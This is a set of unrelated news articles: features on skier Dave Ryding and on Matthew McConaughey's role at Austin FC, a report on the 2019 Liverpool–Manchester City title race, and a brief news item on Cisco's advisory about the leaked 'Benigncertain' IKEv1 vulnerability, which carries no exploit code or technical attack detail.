Forget groomed pistes and cozy alpine huts -- you're unlikely to see even a smattering of snow at the Pendle Ski Club in Lancashire. But, from these humble beginnings, Ryding has worked his way onto the international circuit and is already making history for Britain. The slalom racer enjoyed a major breakthrough at the start of 2017 when he finished second in one of skiing's most prestigious World Cup events -- the Kitzbuhel slalom in Austria.Read More"My life changed in Austria after that, people started to recognize me which was a different stress because you're trying to train and people are coming up for photos," Ryding tells CNN Alpine Edge. Ryding learned to ski on the dry slope of Pendle Ski Club near Burnley, England. "But it's what you dream of as a kid. "All the good guys were coming up to me and congratulating me and telling me what a great journey I've had. They were appreciative of where I've come from."READ: I'll be back -- Why Arnie is a regular fixture in Kitzbuhel READ: Swiss racer wins world's longest downhill in WengenREAD: 2018 Olympics -- what you need to knowOlympic dreamRyding returns to Kitzbuhel this week with hopes of replicating, or even bettering, last year's blistering run. There's an added incentive of performing this year with an Olympic Games just around the corner."I only ever dreamed of competing at the Olympics when I was a kid. I never dreamed of a medal," he says.JUST WATCHEDThe coolest things to do in LaplandReplayMore Videos ...MUST WATCHThe coolest things to do in Lapland 03:09"It would mean the world to me ... I try not to think too much about it. I'll start dreaming coming up to it and try and live it on the day."He may be 31, but Ryding has produced some of his best ever performances this season, finishing in the top 10 at World Cup slalom events in Zagreb, Croatia and Madonna di Campiglio, Italy. That race in Kitzbuhel was the best World Cup finish in 36 years for a British athlete, and Ryding came agonizingly close to going one better earlier this season when a crash on his second run cost him his comfortable lead in Levi, Finland. READ: Stunning images from a color blind ski photographer Photos: Kitzbuhel, Austria ski resort guideTyrolean treasure: Kitzbuhel is the home of the infamous Hahnenkamm World Cup ski race every January, but the charming Austrian town offers much more than just a death-defying downhill. Hide Caption 1 of 16 Photos: Kitzbuhel, Austria ski resort guideSparkling gem: Kitzbuhel is a former silver mining town and a medieval jewel in the heart of Austria's Tirol, 60 miles east of Innsbruck.Hide Caption 2 of 16 Photos: Kitzbuhel, Austria ski resort guideHahnenkamm hysteria: The annual World Cup race on the Streif run is the scariest and hairiest on the circuit with thrills and plenty of spills to entertain the huge crowds that flood in. Hide Caption 3 of 16 Photos: Kitzbuhel, Austria ski resort guideBlue riband: The Hahnenkamm downhill is the highlight of the World Cup circuit and race weekend creates a carnival atmosphere in Kitzbuhel.Hide Caption 4 of 16 Photos: Kitzbuhel, Austria ski resort guideHe's back: Celebrities and the jet-set turn out in force to see and be seen. Austrian native and Terminator star Arnold Schwarzenegger is a regular fixture at the Hahnenkamm finish.Hide Caption 5 of 16 Photos: Kitzbuhel, Austria ski resort guideNerves of steel: The Hahnenkamm race requires guts and a no-fear approach to tackle the Streif's huge jumps, and steep, icy terrain as it plunges back towards the town. Hide Caption 6 of 16 Photos: Kitzbuhel, Austria ski resort guideFever pitch: Just making it to the bottom is a feat in itself. Plenty of racers' seasons have been ended in spectacular crashes on the treacherous descent.Hide Caption 7 of 16 Photos: Kitzbuhel, Austria ski resort guideNo guts, no glory: Winning at Kitzbuhel is the ultimate for a downhill racer. Austrian great Franz Klammer did it four times but Swiss Didier Cuche (pictured) holds the record with five wins.Hide Caption 8 of 16 Photos: Kitzbuhel, Austria ski resort guideChocolate-box charm: Away from the madness of race weekend, Kitzbuhel is one of the most beautiful settings in the Alps with a pretty, cobbled medieval center.Hide Caption 9 of 16 Photos: Kitzbuhel, Austria ski resort guideAfter dark: This being Austria, the bar scene is buzzing with plenty of watering holes to refresh thirsty skiers and snowboarders after a long day on the mountain. The Londoner pub is an Alpine institution.Hide Caption 10 of 16 Photos: Kitzbuhel, Austria ski resort guideStreet party: Kitzbuhel's pedestrianized center is perfect for ambling and taking in the upmarket boutiques, cafes and restaurants. Hide Caption 11 of 16 Photos: Kitzbuhel, Austria ski resort guideWhite playground: Kitzbuhel's skiing area is linked with that of Kirchberg. Together they offer 54 lifts and about 180 kilometers of skiing with endless backcountry opportunity. Hide Caption 12 of 16 Photos: Kitzbuhel, Austria ski resort guideSki safari: As well as the runs on the Hahnenkamm mountain, the ski region includes slopes on the Kitzbuheler Horn, as well as the interlinked areas of Jochberg, Resterhohe and Pass Thurn. Hide Caption 13 of 16 Photos: Kitzbuhel, Austria ski resort guideCruising grounds: Much of the skiing is tree lined and suits mileage hungry intermediates, although beginners and experts are well catered for.Hide Caption 14 of 16 Photos: Kitzbuhel, Austria ski resort guideAustrian hospitality: Kitzbuhel is home to myriad four and five-star hotels with a wealth of upmarket eateries and plenty of cosy huts for on-mountain refreshments.Hide Caption 15 of 16 Photos: Kitzbuhel, Austria ski resort guideMulti talented: Kitzbuhel is more than just a ski resort, with activities such as polo on ice as well as a thriving summer scene including hiking, golf and tennis.Hide Caption 16 of 16Friction burnsHis recent form is helping put his country on the skiing map, "debunking the myth," according to one British Ski and Snowboarding Association official, that Great Britain can't be competitive alongside the traditional heavyweights of the skiing world. JUST WATCHEDThe dangers of being an Alpine skierReplayMore Videos ...MUST WATCHThe dangers of being an Alpine skier 03:03Ryding admits that transitioning onto snow, which he first did at the age of 12, takes some getting used to after years of skiing on the same dry slope. "It's slightly different. You can transfer it to snow and, OK, you have to learn the rolls, the steeps, the ice, the slush -- the variables that come with snow," he says.READ: Lindsey Vonn -- I won't be representing President Trump in South KoreaVisit cnn.com/skiing for more news and videosHaving started his skiing career on what's essentially a stretch of carpet -- or, in his own words, "a lot of toothbrushes" that give "a hell of a friction burn if you crash" -- Ryding is reluctant to stray too far from what he knows best during the off-season as he heads indoors to practice. "People laugh at me for going indoors because [the runs are] short, it's in like a fridge, and it's not the nice surroundings we have in the mountains," he says."But I like it, I was brought up on 120 meters of ski slope and making it work. So I go there and do the same thing."
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(CNN)Before he became one of Hollywood's leading men, before the Oscar for best actor in 2014 and he went Interstellar on the silver screen, Matthew McConaughey was learning his craft and, in fact, preparing to shoot his very first scene. In 1993, he delivered an ad-libbed line -- "Alright, alright, alright!" -- that would stay with him throughout the arc of his career and is now going to feature prominently in a new venture that he could never have imagined when he was cast as David Wooderson in the coming-of-age movie, "Dazed and Confused." The 51-year-old McConaughey is now a co-owner of Austin FC -- Major League Soccer's newest franchise -- and ahead of the new season, Austin supporters are chanting those words to the tune of "Olé, olé, olé!" Speaking exclusively to CNN Sport, McConaughey marveled at the trajectory of those three little words."If you said that night, 'That line you just threw out of your mouth, someone's going to be chanting that 30 years from now and it's going to be the supporter group for your local soccer club, which you'll be a part-owner of,' I would have gone, 'Cool! But what are you talking about?'"Read MoreMcConaughey is a well-known football fan, American football that is.He's talked passionately about his love for the Washington Football Team in the NFL and he's often been seen on the sideline of the Texas Longhorns, his alma mater college team in his native Austin."I did play 12 years of soccer as a youth," he said, explaining his love for both sports. "I went to a Tampa Bay Rowdies camp one summer. I was never that good. I did lead the league in red cards, but that's a longer story! So, I had interest, but it wasn't my game as it wasn't the quintessential American game back then."McConaughey speaks onstage during HISTORYTalks Leadership & Legacy presented by HISTORY at Carnegie Hall on February 29, 2020 in New York City. READ: Martin Braithwaite spent time in a wheelchair as a child; now he's Lionel Messi's wingman at Barcelona'It's the great peacemaker'That all changed when he met his Brazilian wife, Camila Alves"You find the woman of your life and she's from Brazil. Woo-hoo! You better get to know this other football brand, Mr. McConaughey!"He describes his marriage to a supporter of the five-time World Cup winners as akin to having "soccer injected into my blood' adding that their three children have now made his passion of the game even stronger."As we travel the world, we have found and love the game of soccer, because it's the one game they can play wherever: in the city, in the country, from New York to Timbuktu."He casts a glance outside of the window to his yard and chuckles: "I've got two goals and I can see nine soccer balls, and there's my son trying to do reverse kicks into the goal, with himself!"McConaughey's work has taken him all over the world and his travels have shown him soccer's global appeal."Reykjavik, Cape Town, Cleveland, New York, Malibu, Warsaw. There's a soccer ball there. You can go up to anyone. You do not have to introduce yourself or even say your name. Just put a foot out and the ball comes to you. It's the great peacemaker. I call the soccer ball the greatest invitation in the world."HOLLYWOOD, CA - MARCH 04: Matthew McConaughey (L) and Camila Alves attend the 90th Annual Academy Awards at Hollywood & Highland Center on March 4, 2018 in Hollywood, California.READ: Arsenal star recovering after contracting malaria This year, the liberal, artsy, multicultural city of Austin will join the global conversation.The Texas state capital has never before been home to a major-league professional sports team, and the demand for season tickets has rapidly outstripped supply --15,500 have already been sold, with another 14,000 fans on the waiting list. McConaughey isn't just a part-owner of his hometown club; he's also its Minister of Culture, surely a unique title in the world of professional sports. Interlocking his fingers to make the point, McConaughey explains the diverse nature of the city and how he hopes their arrival as the 27th MLS team could change the face of the game in North America. "Austin already had a fever for the game of soccer. I would argue that the snapshot of Austin FC may represent the international game -- look and feel, culture, fan experience -- it has the chance to represent that more than any other team in MLS."He talks optimistically about the continued growth of the game in the US, which will host the 2026 World Cup along with Canada and Mexico, and which is increasingly exporting talent overseas."We are now finally starting to develop products on the pitch that match the fever that we have had in the stands. We're not at the international level yet, but we're on our way."When it's become the first-choice sport of the youth ... it's becoming ingrained in our culture." He adds that if soccer isn't "the new sport in America, it's "the sport in the new America."Marius Haas, President and CCO of Dell Technologies (L) and Matthew McConaughey, Academy Award-winning actor attend the Austin FC Major League Soccer club announcement of four new investors in Austin, Texas.READ: Soccer club founded by Turkish immigrants creates stir in GermanyFor a man who's made a very successful career out of scripted storytelling, McConaughey finds the attraction of sport's spontaneous narratives irresistible."It writes itself, live, in real time. And that's the beauty of sport. That's why we watch, because you don't know!"He could be talking about Austin FC's first game of the new season against LAFC on Saturday, his beloved Longhorns or even something much closer to home."My son's little league [baseball] or junior soccer game on a Saturday morning that turns out to be an epic battle, it was 8-7 at the end. And I just thought I was coming to a junior soccer match!"Asked to compare the two forms of entertainment with which he's so familiar, he concludes that sport is winner. "The prescribed script of how it will go down is already in second place, because it wasn't live."McConaughey is entering the world of professional sport at a moment in history when it has become increasingly politicized, and also at a time when he is considering taking a step into politics and running for governor in Texas. "You're not defined by being an athlete. It would be like somebody saying: 'Matthew, you shouldn't consider anything political because you're an actor and a storyteller.'" Athletes like McConaughey's friend, the Formula One champion Lewis Hamilton, uses his platform to campaign for social justice and racial equality; so, too, do stars such as the NBA's LeBron James and the four-time tennis major champion Naomi Osaka.In 2019, MLS named Alejandro Bedoya the Player of the Week after he grabbed a pitch-side microphone and screamed: "Congress, end gun violence now!"A cardboard cutout of actor Matthew McConaughey is seen in the seats during the Valero Alamo Bowl between the Colorado Buffaloes and the Texas Longhorns at the Alamodome on December 29, 2020 in San Antonio, Texas.READ: Erling Haaland destined to 'smash a lot of records'Meanwhile as corporate America begins staking out a position on dozens of states' efforts to suppress the vote, Major League Baseball recently withdrew its All-Star game from the state of Georgia. "Is there a line?" wonders McConaughey. "I don't know that there's a line. I would just say if you want to boycott or move out or protest, know your reasons, develop them and evolve those reasons along the way. Nobody is bound by their vocation to be excluded from having a political view."Unfortunately, the pervasive nature of social media in modern society means that anybody's opinion can now be thrust directly into your feed, and many athletes have recently borne the brunt of some very toxic and even racist abuse. "We, as humanity, as people, we've got to get a handle on this," reflects McConaughey. "Our youth doesn't know, so many adults don't even understand, that what you're putting down is going to outlive you."It's part of your resumé, of who you are for the rest of your life and after you're gone!" So how would he react if any Austin player finds himself on the receiving end of such abuse?He says that it would be important to emphasize that the abuse isn't necessarily personal."A lot of times, that person is just spitting off. That person's got their own problem; that's the first thing I'd say to a player. Don't let their dirty laundry make you dirty. Don't take it personally, even if it feels personal to you."McConaughey celebrates on the Texas Longhorns sideline in the second half against the Texas Tech Red Raiders at Darrell K Royal-Texas Memorial Stadium on November 29, 2019 in Austin, Texas.VISIT: CNN.com/sport for more news, features and videosPerhaps he'd even recommend trying to find the abuser, to educate them face-to-face."Sport is a great example of anti-racism, a great example of people coming together and actually shining a light on differences. Let's go sit down and have the discussion, not on social media where he or she can hide."For all of his accomplishments, McConaughey has said that the one thing that he always wanted to be was a father. In his autobiography "Greenlights," he says he knew that when he was just eight years old.His three children come up often during the conversation in this interview and it's clear that sport plays a big part in their relationship.Many parents will identify with the early starts every weekend to get their offspring to games and tournaments."You just trespassed on your mom and dad's Friday night, buddy!" he quips about waking up to travel to a 7 a.m. match, but quickly stresses the shared life lessons are worth it."As a dad, it's almost a greater day to talk to your son after the heartbreaking loss than it is to talk about the championship. 'Did you give it your full effort? You're going to find resistance in this world, people wanting what you have. You're going to have to work with others to get what you want.'"Now that Austin FC is up and running, his weekends are going to be even more full of it. The kids will be pulling him in one direction, the professionals in another. And that will be perfectly "Alright, alright, alright!"
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Network equipment vendor Cisco is finally warning its customers of another zero-day vulnerability the company discovered in the trove of NSA's hacking exploits and implants leaked by the group calling itself "The Shadow Brokers."
Last month, the Shadow Brokers published firewall exploits, implants, and hacking tools allegedly stolen from the NSA's Equation Group, which was designed to target major vendors including, Cisco, Juniper, and Fortinet.
A hacking exploit, dubbed ExtraBacon, leveraged a zero-day vulnerability (CVE-2016-6366) resided in the Simple Network Management Protocol (SNMP) code of Cisco ASA software that could allow remote attackers to cause a reload of the affected system or execute malicious code.
Now Cisco has found another zero-day exploit, dubbed "Benigncertain," which targets PIX firewalls.
Cisco analyzed the exploit and noted that it had not identified any new flaws related to this exploit in its current products.
But, further analysis of Benigncertain revealed that the exploit also affects Cisco products running IOS, IOS XE and IOS XR software.
Benigncertain leveraged the vulnerability (CVE-2016-6415) that resides in the IKEv1 packet processing code and affects several Cisco devices running IOS operating system and all Cisco PIX firewalls.
IKE (Internet Key Exchange) is a protocol used for firewalls, to provide virtual private networks (VPNs), and even manage industrial control systems.
A remote, unauthorized attacker could use this vulnerability to retrieve memory contents from traffic and disclose critical information such as RSA private keys and configuration information by sending specially crafted IKEv1 packets to affected devices.
"The vulnerability is due to insufficient condition checks in the part of the code that handles IKEv1 security negotiation requests. An attacker could exploit this vulnerability by sending a crafted IKEv1 packet to an affected device configured to accept IKEv1 security negotiation requests," Cisco said in its advisory.
Cisco's IOS operating system XR versions 4.3.x, 5.0.x, 5.1.x and 5.2.x, as well as PIX firewalls versions 6.x and earlier, are vulnerable to this flaw, though the company has not supported PIX since 2009.
Neither Cisco has developed a patch for the flaw, nor any workarounds are available.
The company said the vulnerability is currently under exploit, advising its customers to employ intrusion detection system (IDS) and intrusion prevention systems (IPS) to help stop the attacks.
Cisco promised to release software updates to patch CVE-2016-6415 but did not specify a time frame.
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(CNN)It's a race that looks set to go down to the wire -- but both Liverpool and Manchester City will be hoping it's the other that trips up in the final straight. Follow @cnnsport
The two teams resume their battle for the Premier League crown this weekend with the title very much in reach.Just two points separate the two at the top of the table but which club are you tipping to triumph? CNN's state of the art Premier League title predictor allows you to call the race -- but before you click, here's the lowdown on one of the closest title races in English football history.Ecstasy or agony? Liverpool or Manchester City?Who will win the Premier League?#LFC #MCFChttps://t.co/xtkj8eQTN4— CNN Sport (@cnnsport) March 29, 2019
Liverpool heads into the weekend in top spot on 76 points, two ahead of City, but having played a game more.Read MoreJurgen Klopp's side is unbeaten since losing to City on January 3 -- winning six and drawing four of its 10 Premier League games.It is conceivable that Liverpool, even if it won every single one of its remaining seven games and reach 97 points -- and still lose out on the title.That's because Manchester City, the reigning champion, could reach 98 if it wins all of its remaining eight fixtures.Liverpool's Roberto Firmino challenges Manchester City's Fernandinho during City's 2-1 win in January. No team has ever reached 90 points and not won the title -- but both of these teams could become the first.Whatever happens though, neither will match City's points total of last season -- a record 100 -- a total that saw it finish 19 points clear of its nearest rival and 25 ahead of Liverpool in fourth.READ: Can football defeat the far-right in Germany?READ: Football player banned for racial abuse quits sportCity slickersDefending champion City appears to have stepped up a gear in recent weeks with Raheem Sterling in particularly impressive form.Manchester City's Raheem Sterling has been in scintillating form this season.The 24-year-old, who scored a hat-trick for England in its 5-0 win over Czech Republic last week, also hit three in his last Premier League game to help City secure 3-1 win over Watford.Sterling's 15 league goals and nine assists have helped City back into contention after Liverpool moved seven points clear at the summit back in January.Such has been Sterling's impact both for England and City, that even his former teammates turned rivals at Liverpool, are talking about him. Sterling was at Liverpool between 2010 and 2015, before signing for City.READ: Why Lionel Messi is the world's best playerREAD: Bayern signs Lucas Hernandez for $90 million"We knew he had something special at Liverpool," Liverpool captain Jordan Henderson told reporters after Sterling's hat-trick for England."You could see how good he was, and he had the right mentality. "I feel as though he's more of a leader now in the England team. That's come with experience. But he's always had that good mentality towards football."I knew from the minute I started training with him that he's a special player. He's proved how good he is in the last couple of years. He can still get better, and he will do. Everyone has seen how special he is for England and City."We all know how good a player he is, and he has the right mentality to keep wanting more and stay hungry. It's been a pleasure to watch him grow in the last few years."Sergio Aguero is the leading scorer in the Premier League with 18 goals this season.Since defeating Liverpool on January 3, City has taken 24 points from a possible 27, winning eight and losing one of its nine Premier League games. It has also reached the semifinals of the FA Cup, quarterfinals of the Champions League and won the League Cup -- keeping it on schedule for an unprecedented quadruple.READ: Solskjaer confirmed as United bossREAD: Neymar faces ban for Champions League F-word Instagram rantThen you can add in the goal statistics which are frightening. So far this season, City has scored 142 goals in 49 matches -- that's just one fewer than the 143 it managed in the whole of last season.Sergio Aguero, the Premier League's top scorer on 18, has been ably assisted by the likes of Leroy Sane, Kevin De Bruyne, Bernardo Silva and the wonderfully talented David Silva, who seems to get better with each passing year.Fernandinho, the man who keeps City ticking over while screening the defense, has been outstanding once again.Manchester City faces Tottenham in a two-legged Champions League tie and in the Premier League.But there are challenges up ahead, not least of all the prospect of facing Tottenham three times in 11 days with two legs of a Champions League quarterfinal and a Premier League clash on the horizon.There's also the small matter of a trip to Old Trafford to face rival Manchester United on April 24, as well tricky trips to Crystal Palace and Burnley."Believe me, to get to the international break and go into April with only a month and a half to go and still be there is incredible, and it is an honor for me," City boss Pep Guardiola told the club's website."To have this spirit, desire, this intensity and overcome difficult situations -- I told the players that this is going to happen quite often between now and the end of the season where the mentality will be the difference."Weight of historyWhile City has won the Premier League on three occasions in recent years, Liverpool has not won the league title for 29 years.Liverpool player-manager Kenny Dalglish, center, on his final appearance as a player, Ronnie Moran, left, and Roy Evans celebrate the 1990 Division One Championship.Back then there wasn't even a Premier League, simply a Division One. There have been near misses both in 2009 under Rafael Benitez when Liverpool finished second, and again in 2014 under Brendan Rodgers when the Merseyside team collapsed in dramatic fashion at the last, but fans will hope this current generation can go one better.Under Jurgen Klopp, Liverpool has emerged as one of the most exciting attacking forces in European football while also boasting the best defensive record in the Premier League this season.Much of that is down to the performances of central defender Virgil van Dijk, the Dutch defender who has firmly established himself as one of the best in Europe.Liverpool's Virgil van Dijk has been an impressive performer in the Premier League this season.A number of eyebrows were raised when Liverpool shelled out $99 million for van Dijk, a world record fee for a defender, in December 2017.But the former Southampton and Celtic defender has been outstanding, along with the team's two full-backs, Trent Alexander-Arnold and Andrew Robertson, both of whom have been hugely impressive.Behind them, Brazilian goalkeeper Alisson, who was signed for a reported $88.5 million in July last year, has kept the highest number of clean sheets in the Premier League this season.And then there's the forward line of Sadio Mane, Mohamed Salah and Roberto Firmino -- the front three who were instrumental in Liverpool's run to the final of last year's Champions League final.Mane in particular has been in fine form of late, scoring 20 goals in all competition including two in the Champions League second-leg win over Bayern Munich.The Senegal striker has scored 11 goals in his past 11 games, a run of form that has seen him linked with Spanish giant Real Madrid."He (Mane) has been brilliant the whole season, and in these last few games he has been needed, because those games were very difficult," former Liverpool player Luis Garcia told the club's website.Sadio Mane scored twice in Liverpool's 3-1 win at Bayern Munich in the Champions League."The opponents were tight at the back and it was difficult to get chances. I think he's been brilliant, so quick, so good with his feet, the skill that he's got is fantastic. "Sometimes in the past he had a few chances and couldn't score, but now he's scoring all of them because he is focused. He knows that the team needs those goals, and I think it's brilliant that the team can call on him."READ: Liverpool sees of Bayern as Messi inspires BarcaREAD: Liverpool to face Porto in Champions League quarterfinalWhat the fans sayLiverpool: John Gibbons from the Anfield Wrap says Liverpool fans are feeling positive ahead of the run-in, though the home game with Chelsea does raise some concerns.Liverpool coach Jurgen Klopp is hoping to win his first trophy in England."I think there's a generally positive feeling from Liverpool fans at the moment with the thought that City will drop points," he told CNN."If they win their last eight games then fair play to them but they've got some difficult games, like going to Manchester United, and the games against Spurs in the league and Champions League."Our games aren't too bad but I think there's a bit of an eerie feel about the Chelsea match. There are still memories of the 2013/14 season when they came and won at Anfield while we were going for the league and broke our hearts, so that might make people nervous."There's also the fact they're a very good side and Eden Hazard always brings his A game against us. But there's a general feeling that if we can keep winning our games we can do it."READ: Is VAR 'killing' football?READ: City under investigation by UEFA over possible financial wrongdoingManchester City coach Pep Guardiola is hoping to retain the Premier League title.Manchester City: Steven Allweis, who runs the City blog, 'View from a Blue' believes the defending champion is in pole position going into the final furlong."Given the turnaround in the past couple of months, momentum is completely with us," Allweis told CNN."Liverpool could have been 10 points clear not that long ago, so to see them stutter and to see us win six on the bounce in the league and pile on the pressure is a source of confidence, as is the fact we have done it before, have a manager who is a relentless winner, and have key players returning from injuries. "Clearly, it will be tight. Liverpool have managed to grind out wins all season without often appearing to be at their best, so fair play to them -- but we have so many match-winners across the squad and are so accustomed to getting the job done that I believe we will be fine in the end." What happens next?Manchester City can go back to the top of the table on Saturday if it can win at struggling Fulham.City travels to Craven Cottage to face a Fulham side with the worst defense in the league, having conceded 70 goals in 31 matches.Liverpool faces a far tougher test on Sunday when it hosts third-place Tottenham at Anfield. Both teams face difficult games before the end of the season.Chelsea's Eden Hazard poses a threat to Liverpool's title chances. Liverpool plays Chelsea at home on April 14, while there's also a potentially tricky fixture away at Newcastle, coached by former Liverpool boss Benitez, on Saturday May 4.There are away games at Southampton and Cardiff, as well as a home meeting with bottom of the table Huddersfield.Visit cnn.com/sport for more news and videosJUST WATCHEDJurgen Klopp's Anfield tour for MLB playerReplayMore Videos ...MUST WATCHJurgen Klopp's Anfield tour for MLB player 04:00City, which has played a game less, will also be wary of tripping up in the final straight.Guardiola's side hosts Tottenham in the league on April 20 before making the short journey across Manchester to face United four days later.READ: CNN's Premier League predictor: Can you call the title race?There are also potential banana skins with away games at Crystal Palace and Burnley and a home tie with Leicester City.On the final day, City is away at Brighton while Liverpool is at home to Wolves.But which team are you tipping for glory? Check out CNN's Premier League title predictor and tweet us at @CNNsport with your predictions.
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